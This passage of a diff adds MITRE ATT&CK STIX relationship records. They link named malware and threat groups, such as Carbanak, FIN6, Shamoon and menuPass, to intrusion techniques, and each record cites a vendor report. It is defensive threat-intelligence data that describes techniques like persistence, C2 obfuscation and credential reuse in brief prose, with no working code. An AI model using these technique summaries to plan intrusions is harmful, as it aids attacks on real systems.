"https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses netstat -ano to search for specific IP address ranges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3018ef54-d98c-4958-bc31-dc6b45b67a05", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "modified": "2019-05-03T16:54:33.050Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) checks for debugging tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4eb00375-3ee3-43c7-845a-2206e1eff114", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "modified": "2019-07-26T22:56:58.221Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can gather the disk volume information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d0e4c9af-070a-43bd-82e6-c047f7ebf491", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "source_name": "US-CERT TYPEFRAME June 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) contains code to delete files from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--83185e47-895c-4c40-8043-fbf279006873", + "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the readFiles function to return a detailed listing (sometimes recursive) of a specified directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--63a7bbf6-bb2e-41e7-8893-c3f7f207a7a7", + "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "modified": "2019-07-26T23:07:21.009Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "source_name": "XAgentOSX 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "A [Winnti](https://attack.mitre.org/software/S0141) implant file was named ASPNET_FILTER.DLL, mimicking the legitimate ASP.NET ISAPI filter DLL with the same name.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e7b5511a-3528-48d1-9224-6c5ff88b3825", + "source_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017.", + "source_name": "Microsoft Winnti Jan 2017", + "url": "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[ifconfig](https://attack.mitre.org/software/S0101) can be used to display adapter configuration on Unix systems, including information for TCP/IP, DNS, and DHCP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--01e01c24-ba4c-41d7-8f30-8fca364dc2c6", + "source_ref": "tool--362dc67f-4e85-4562-9dac-1b6b7f3ec4b5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used a script (atexec.py) to execute a command on a target machine via Task Scheduler.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a901eaf4-7cbe-43c2-9c03-7d716357edc9", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.772Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[CrossRAT](https://attack.mitre.org/software/S0235) uses run keys for persistence on Windows", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8023d964-9013-4f3d-962e-569b799a2991", + "source_ref": "malware--a5e91d50-24fa-44ec-9894-39a88f658cea", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) actors have been known to copy files to the network shares of other computers to move laterally.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.034Z", + "id": "relationship--42d2f816-9db2-47bf-9481-3065d038725d", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.430Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has used keyloggers that are also capable of dumping credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--a14c4d34-5a27-419a-b665-e1207ba55ca7", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "modified": "2019-05-10T12:14:32.121Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[APT3](https://attack.mitre.org/groups/G0022) leverages valid accounts after gaining credentials for use within the victim domain.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--8ac07a3f-9468-47a3-8ecc-c432f80e03f4", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.378Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2e45dc12-f493-42ea-829e-011ba786bef1", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.488Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--e59e9443-740a-4e2b-a775-8ae59ceb3844", + "source_ref": "course-of-action--b91c2f9e-c1a0-44df-95f0-9e7c9d1d5e55", + "modified": "2019-07-25T11:37:35.511Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is capable of setting and deleting Registry values.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a71256aa-a2e3-447c-ba4e-004ba4f062b2", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "source_name": "Bitdefender APT28 Dec 2015", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.048Z", + "id": "relationship--9820c1e9-a414-4af1-a78c-aaf2cb164361", + "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd", + "modified": "2019-03-22T18:44:28.639Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.032Z", + "id": "relationship--49957d89-7449-476a-b542-d7811a86c230", + "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "modified": "2019-03-22T20:00:23.895Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has delivered zero-day exploits and malware to victims via targeted emails containing a link to malicious content hosted on an uncommon Web server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--2003aaad-7b87-461d-b17f-b19100069ad9", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "modified": "2019-03-22T20:15:19.409Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "source_name": "CSM Elderwood Sept 2012", + "description": "Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.", + "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "If [Shamoon](https://attack.mitre.org/software/S0140) cannot access shares using current privileges, it attempts access using hard coded, domain-specific credentials gathered earlier in the intrusion.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5e6e745f-d756-4b6e-90e1-3adcf848570b", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "modified": "2019-04-24T23:59:16.156Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "source_name": "FireEye Shamoon Nov 2016", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Psylo](https://attack.mitre.org/software/S0078) has a command to download a file to the system from its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a1e74408-5c7b-4538-afd9-a01b23a92429", + "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used a Metasploit PowerShell module to download and execute shellcode and to set up a local listener.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.071Z", + "id": "relationship--97ea3b82-58ba-4a3e-8e6d-367755f83fa6", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-09-16T18:46:37.731Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "source_name": "FireEye FIN6 April 2016", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + }, + { + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "source_name": "FireEye FIN6 Apr 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + }, + { + "source_name": "Security Intelligence More Eggs Aug 2019", + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.053Z", + "id": "relationship--e38e741c-a7ef-420a-911a-1d2cf6abf49d", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "modified": "2019-09-04T19:48:17.671Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) encrypts strings to make analysis more difficult.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7c3f8d37-e2da-45c3-8ef2-a067cd46d340", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[Wingbird](https://attack.mitre.org/software/S0176) checks for the presence of Bitdefender security software.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--b1371fd9-1bfd-40b2-90a2-4876d89029bf", + "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "source_name": "Microsoft SIR Vol 21", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "A [gh0st RAT](https://attack.mitre.org/software/S0032) variant has used DLL side-loading.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--6874b50a-10e8-4036-bb2d-aabab35ec75b", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "modified": "2019-04-16T20:26:40.871Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Arbor Musical Chairs Feb 2018", + "description": "Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. Retrieved February 19, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) has sent malware that required users to hit the enable button in Microsoft Excel to allow an .iqy file to be downloaded.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2b91534d-4687-457b-bcb0-96be9357fa6d", + "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "modified": "2019-04-22T19:23:13.498Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "The [Komplex](https://attack.mitre.org/software/S0162) trojan supports file deletion.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3b31b258-d3e0-4acc-9c20-de870baa64a0", + "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "source_name": "Sofacy Komplex Trojan", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) creates a scheduled task to ensure it is re-executed everyday.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--60349cdb-6f9a-4962-92aa-105eea1d112a", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "modified": "2019-04-24T23:21:59.172Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "source_name": "Talos GravityRAT", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) obfuscates C2 traffic with variable 4-byte XOR keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a7cb0193-e854-4361-b1a1-fc4e68354c59", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "modified": "2019-08-16T18:52:50.584Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", + "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) encrypts the message body of HTTP traffic with RC2 (in CBC mode) and Base64 encoding.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a9bd68ed-2602-4225-838e-2d9b7f8761b4", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "source_name": "Kaspersky Carbanak", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + }, + { + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + 